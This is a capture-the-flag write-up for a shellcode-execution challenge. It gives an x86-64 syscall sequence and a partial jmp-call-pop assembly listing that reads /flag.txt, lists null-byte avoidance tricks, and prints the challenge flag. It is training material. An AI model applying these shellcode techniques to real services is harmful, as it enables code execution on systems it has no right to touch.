Challenge Context#

The service accepted raw shellcode and executed it. The goal was to read /flag.txt and write it to stdout.

Core Idea#

Use standard x86-64 Linux syscalls:

1
open("/flag.txt", O_RDONLY)
2
read(fd, stack, 0x100)
3
write(1, stack, n)
4
exit(0)

The main engineering constraint was avoiding bad bytes in the code section.

Exploitation#

The shellcode used the jmp-call-pop pattern so the path string could live inline without hardcoded addresses:

1
jmp string_loader
2
main:
3
  pop rdi          ; rdi -> "/flag.txt"
4
  xor esi, esi     ; flags = O_RDONLY
5
  mov al, 2        ; SYS_open
6
  syscall
7
  ... read/write ...
8
string_loader:
9
  call main
10
  db "/flag.txt", 0

Null-byte avoidance tricks:

• xor reg, reg instead of mov reg, 0
• mov dh, 1 instead of mov rdx, 0x100
• inc rdi instead of mov rdi, 1
• keep the string terminator in data, not as an immediate in code

Flag#

1
Leet{5h3llc0d3_15_4w350m3}

Lesson Learned#

For shellcode challenges, the syscall sequence is usually simple. The real work is byte-level engineering: address independence, bad-byte avoidance, and knowing exactly how input is terminated.

Cover: Wallhaven w5m62x.